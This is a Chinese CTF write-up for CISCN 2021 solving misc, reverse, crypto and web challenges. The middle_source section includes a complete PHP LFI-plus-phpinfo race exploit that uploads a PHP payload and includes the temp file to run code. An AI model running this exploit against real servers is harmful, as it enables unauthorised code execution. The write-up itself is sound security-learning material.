# CISCN writeup

by r00t-2021

# 场景实操开场卷

# Running pixels

奇怪的GIF,把每一帧提出来,能明显地看到10帧一循环。挑出最奇怪的第9、19、29……帧拖进stegsolve,发现有一个落单的像素点:

写脚本提取之,发现大多数帧上都有落单的像素点,颜色固定为(233, 233, 233)。所有像素点拼在一起,构成若干字母和数字:

顺序由像素点构成字母数字的过程决定,需要逐帧绘制过程。脚本如下:

#!/usr/bin/env python3

from PIL import Image

found_px = []

#for i in range(9, 382, 9):
for i in range(382):
	img = Image.open('frames/frame%03d.png' % i).convert('RGB')
	imgdata = img.load()
	size = img.size
	tgt = (233, 233, 233)
	for y in range(size[1]):
		for x in range(size[0]):
			if imgdata[x, y] == tgt:
				found_px.append((i, (x, y), imgdata[x, y]))
				break
	pass

print(len(found_px))
print(found_px)

out = Image.new('RGB', (400, 400), color = 'black')
for i, xy, color in found_px:
	out.putpixel(xy, color)
	out.save('outs/out%03d.png' % i)

out.save('out.png')
out.close()

last_xy = (0, 0)
out = Image.new('RGB', (400, 400), color = 'black')
for i, xy, color in found_px:
	out.putpixel(xy, color)
	if (xy[0] - last_xy[0]) ** 2 + (xy[1] - last_xy[1]) ** 2 >= 30:
		out.transpose(Image.FLIP_LEFT_RIGHT).transpose(Image.ROTATE_90).save('outs2/out%03d.png' % i)
	last_xy = xy

out.transpose(Image.FLIP_LEFT_RIGHT).transpose(Image.ROTATE_90).save('outs2/outlast.png')
out.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

# glass

扑面而来的JNI,好在没有太乱的东西。前面几个对缓冲区的处理越看越像RC4,索性当作RC4理解:

for ( i = 0; i != 256; ++i )
{
	v3[i] = i;
	sub_126C(i, v5); // 取模运算,结果存R1
	v12[i] = v4[v7]; // v7 == R1
}
v8 = 0;
v9 = 0;
while ( v8 != 256 )
{
	v10 = (unsigned __int8)v3[v8];
	v9 = (v9 + v10 + (unsigned __int8)v12[v8]) % 256;
	v3[v8++] = v3[v9];
	v3[v9] = v10;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

算完RC4还有一个函数,分块异或外加写得及其花哨的逐字节异或:

for ( j = 0; j < a2; j += a4 )                // looped xor
{
	for ( k = 0; (a4 & ~(a4 >> 31)) != k && j + k < a2; ++k )// for(k = 0; a4 != k && (j + k) < a2; k++)
		*(_BYTE *)(result + k) ^= *(_BYTE *)(a3 + k);
	result += a4;
}
1
2
3
4
5
6

写脚本跑出flag即可:

#!/usr/bin/env python3

from Crypto.Cipher import ARC4

key = b'12345678'
target = [
    0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 
    0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F, 
    0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 
    0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F
]

out = bytearray([x ^ key[i % len(key)] for i, x in enumerate(target)])
for i in range(0, len(out), 3):
    real_1 = out[i + 1] ^ out[i + 0]
    real_2 = out[i + 2] ^ real_1
    real_0 = out[i + 0] ^ real_2
    out[i + 0] = real_0
    out[i + 1] = real_1
    out[i + 2] = real_2

print(ARC4.new(key).decrypt(out))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

CISCN{6654d84617f627c88846c172e0f4d46c}

# easy_source

发现存在一个.index.php.swo,打开之后发现提示了部分源码,源码中设置了一个User类,存在大量的方法

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

猜测User类中的方法可能隐藏了信息,所以使用ReflectionMethod遍历获取所有方法的信息,最后在q方法的@access注解中,发现了flag

/**
     * Increment counter
     *
     * @final
     * @static
     * @access  publicCISCN{2CxzP-Yuu3n-3nfxN-hwB37-trDND-}
     * @return  int
     */
Method [ <user> public method q ] {
  @@ /var/www/html/index.php 207 - 210
}
1
2
3
4
5
6
7
8
9
10
11

# tiny traffic

打开流量包,过滤HTTP协议,在192.168.2.193发现了flag_wrapper、test、secret,flag_wrapper为CISCN{},test和secret是被Brotli压缩的数据,使用python进行解压缩。发现test为proto3的数据定义,使用protoc --python_out=. test.proto生成对应的python结构文件,编写脚本对secret进行解码

from test_pb2 import PBResponse

f = open("secret.pb", "rb")
resp = PBResponse()
resp.ParseFromString(f.read())
print(resp)
f.close()
1
2
3
4
5
6
7

输出反序列化之后的结构

code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
  flag_part: "e2345"
  junk_data: "7af2c"
}
dataList {
  flag_part: "7889b0"
  junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
1
2
3
4
5
6
7
8
9
10
11
12

根据结构指示拼接成flag:CISCN{e66a22e23457889b0fb1146d172a38dc}

# 场景实操二阶卷

# middle_source

在主页中列出了源码,存在一个文件包含漏洞

<?php
    highlight_file(__FILE__);
    echo "your flag is in some file in /etc ";
    $fielf=$_POST["field"];
    $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    
    if(file_exists($cf)){
        include $cf;
        echo $$field;
        exit;
    }
    else{
        echo "";
        exit;
    }
?> your flag is in some file in /etc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

在.listing文件列出了当前目录的文件,存在一个/you_can_seeeeeeee_me.php文件,访问之后发现是phpinfo文件,与文件包含组合利用,包含上传的临时文件,可造成代码执行,枚举/etc目录中的文件

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php var_dump(scandir('/etc'));?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /you_can_seeeeeeee_me.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""POST /index.php HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Content-Type: application/x-www-form-urlencoded
Host: %s\r
Content-Length: %s\r
\r
%s
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    fn = 'cf=/../../../../../../../' + fn
    s2.send(lfireq % (host,len(fn),fn))
    d = s2.recv(4096)
    s.close()
    s2.close()
    #print(d)

    if d.find(tag) != -1:
        print(d)
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

/etc/fcbbfhbfbf/fhgedheeia/bdedgcecje/bhaabhejid/ecfajfcgba/fl444444g,找到了flag:CISCN{GlWGe-8agDv-a6Gst-CShBt-32Vl0-}

# baby_bc

面对奇怪的bc文件一头雾水。一顿好找才发现这是LLVM生成的中间码文件,可以向下继续编译到机器码。clang编译之,拖进IDA。

程序里满是二维数组(map[5][5]row[5][4]col[4][5]),输入被填入map,要求满足如下条件:

  • 不得覆盖map中原有的数字(对应位置用0代替)
  • map每行、每列不得出现重复数字
  • 满足row中定义的水平相邻两数字的大小关系
  • 满足col中定义的竖直相邻两数字的大小关系
  • 数字范围限定为[1, 5](原先为[0, 5]导致出现多解)

规则放到一起,变成了数学题。数学菜鸡运气还可以,试了半个小时试出来了。

CISCN{8a04b4597ad08b83211d3adfa1f61431}

# little_evil

……做到崩溃的五层壳子。

拿到程序,14M的ELF,拖进IDA都卡的要死。突然顿悟,14M根本不是正常程序可能的大小,遂关掉IDA,7-zip文件分析,发现里面嵌着个squashfs打包的rootfs(这什么神奇技术)。

翻一翻,发现里面除了一个ruby环境之外啥也没有。找到了主程序__enclose_io_memfs__/local/out.rb,拖出来打开一看,好的,有混淆那味了:

l1lll;lIlI;ll1l1;l1lI;l11I;l1lll;llI1l;lIlll;l11IlI;l11I;l1lll;lIlll;llI1l;lIlI;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llI1l;l1IIII;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;llIl;l1lI;lIlll;l11I;l1lll;l1lI;ll1l1;l1l111;l11I;l1lll;
1

捋一捋混淆代码,前面都是在构造字符串,最后一条指令用send()执行函数。修改代码加个puts,得到解混淆后的(下一层混淆的)代码。

同样的混淆还有一层。解开后代码可读性“高了一点”:

begin $_=$$/$$;@_=$_+$_;$-_=$_-@_
$__=->_{_==[]||_==''?$.:$_+$__[_[$_..$-_]]}
@__=->_,&__{_==[]?[]:[__[_[$.]]]+@__[_[$_..$-_],&__]}
1
2
3

但是注意到后面有一串奇奇怪怪的数字,还有一个疑似switch遍历数字执行操作。嗯,好,是个VM。分析来分析去,顿悟,这8个opcode刚好对应brainfuck的八种操作。将opcode翻译成brainfuck,得到:

>>[-]>[-]<>++++++++[<+++++++++>-]<+.>++++++[<++++++>-]<+.++.+++++.-.>+++++++[<-------->-]<--.[-]+><>[-]<<[-]>[>+<<+>-]>[<+>-]<><[-]><,>[-]>[-]+++++++[<+++++++++++>-]<><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++[<+++++++++>-]<-><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++++[<+++++++++++>-]<+><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]++++++++[<++++++++++++>-]<+><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]><,>[-]>[-]+++++[<+++++++++++>-]<><<>[<->-]<[>>[-]><>[-]<<<<[-]>>>[>+<<<<+>>>-]>[<+>-]<><<<[-]][-]>[-]<<[>+>+<<-]>>[<<+>>-]<[>>[-]>[-]<>++++++++[<++++++++++>-]<-.----.<<[-]]<<
1

分析这东西更废脑子。索性找了个Brainfuck到C的转译器 (opens new window)gcc -O3编译之,拖进IDA。输入就出来了:

v7 = getc(v6) - 'M';
// ...
v8 = getc(stdin) - '5';
// ...
v9 = getc(stdin) - 'Y';
// ...
v10 = getc(stdin) - 'a';
// ...
v11 = getc(stdin) - '7';
1
2
3
4
5
6
7
8
9

md5之得到flag。

CISCN{bd5658f44db57f5a1580e5444e5849ce}

# alice_bob

继续一头雾水。拿第一行的前几个字节上网搜,发现了若干和GMS与短信有关的信息。继续找,确定数据是PDU编码,还找到了解码网站 (opens new window)。魔改网页JS批量解码,前几条消息透露了flag的第一部分:

SMSC#
Receipient:+8615030442000
Validity:Rel 4d 
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

hello,bob!what is the flag?
Length:27
---
SMSC#
Receipient:+10086
Validity:Not Present
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

the first part of the flag is the first 8 digits of your phone number
Length:69
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

后面则是大段的十六进制。提取出来,发现PNG文件头,但是数据全部错乱。突然发现十六进制的包都带有时间戳,遂按时间戳排序,得到图片。

显然图片长宽是错的,010 Editor也在抱怨IHDR CRC有误。找脚本爆破长宽,得到flag后半截。

import zlib
import struct

filename = 'save.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095
    for w in range(n):
        width = bytearray(struct.pack('>i', w))
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("width =", width)
                print("height =", height)
                exit(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

注意这个手写的UUID,分隔符用的是下划线。

CISCN{15030442_b586_4c9e_b436_26def12293e4}

# 场景实操冲刺卷

# RSA

flag分为三段,用了三种RSA攻击方式,分别为小公钥指数攻击,共模攻击,Factoring with high bits known攻击

小公钥指数攻击:

#!/usr/bin/python
#coding:utf-8
#小明文攻击   
#适用情况:e较小,一般为3
#公钥e很小,明文m也不大的话,于是m^e=k*n+m 中的的k值很小甚至为0,爆破k或直接开三次方即可。
      
import gmpy2
import binascii
import libnum
import time
from Crypto.Util.number import long_to_bytes

n=123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009   
e=3    
res=0   #res是m  
c=19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
# c=int(open('flag.enc','rb').read().encode('hex'),16)    
print(time.asctime())
for k in range(200000000):    
    if gmpy2.iroot(c+n*k,3)[1]==1:    
        res=gmpy2.iroot(c+n*k,3)[0]    
        print(k,res)    
        print(long_to_bytes(res))
        print(time.asctime())
        break   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

共模攻击:

#!/usr/bin/python
#coding:utf-8

import gmpy2
from Crypto.Util.number import long_to_bytes

e1 = 17
e2 = 65537
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
c2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950


_, r, s = gmpy2.gcdext(e1, e2)

m = pow(c1, r, n) * pow(c2, s, n) % n
print(m)
print(long_to_bytes(m))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Factoring with high bits known:

p = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902 <<200
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147

kbits = 200
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print "x: %s" %hex(int(x0))
p = p+x0
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))

1
2
3
4
5
6
7
8
9
10
11
12
13
14

exp.py

import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime

msg1=long_to_bytes(267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157)

msg2=long_to_bytes(4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137)

msg3=long_to_bytes(978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882)
msg=msg1+msg2+msg3

print(hashlib.md5(msg).hexdigest()) 

1
2
3
4
5
6
7
8
9
10
11
12

输出:3943e8843a19149497956901e5d98639

flag为:CISCN{3943e8843a19149497956901e5d98639}

# robot

Robot.rspag是Robot Studio的工程,但是这个软件太大了不想装。直接去看pcap,过滤主机发给机器人的数据(因为绘图坐标一定是主机发过去的),翻一翻,大喜:

.......]p~...............D .SET./127.0.0.1/RAPID/T_ROB1/Module1/tgPos{57}.Value.[208,46,0]...
.......]p................D .SET./127.0.0.1/RAPID/T_ROB1/Module1/tgPos{58}.Value.[208,48,0]...
1
2

grep提之,规律跃然于屏幕上:

$ strings cap.pcapng | grep -A 2 "tgPos"
0 -1 -SymTyp 112 -Source 255 -RegExp "^tgPos$" -URL RAPID/T_ROB1/Module1 -Output 15
15;     1;     1;1;#2;tgPos;RAPID/T_ROB1/Module1/tgPos;PER;1;1;0;0;RAPID/pos;pos;1;0;0;1;500;
/127.0.0.1/
Mode
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{1}
Value
[27,36,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{2}
Value
[28,35,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{3}
Value
[29,35,0]
--
...
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{109}
Value
[71,44,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{110}
Value
[71,44,-10]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{1}
Value
[125,23,0]
--
/127.0.0.1/RAPID/T_ROB1/Module1/tgPos{2}
Value
[125,23,0]
--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

python turtle画之,过一遍md5得到flag:

#!/usr/bin/env python3

import turtle

with open('tgPos.log', 'r') as f:
	points = f.read().split('\n--\n')[1 : ]

segments = []
for point in points:
	s = point.split('\n')
	segments.append((int(s[0].split('{')[1][ : -1]), tuple(eval(s[2])[ : 2]), eval(s[2])[2]))

print(segments)

turtle.setup(width = 800, height = 600)

nextup = False
for i, xy, z in segments:
	print(i, xy, z)
	if nextup:
		nextup = False
		turtle.penup()
	else:
		turtle.pendown()
	#turtle.goto(*xy)
	turtle.goto(xy[0], -xy[1])
	if z < 0:
		nextup = True

turtle.mainloop()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

CISCN{d4f1fb80bc11ffd722861367747c0f10}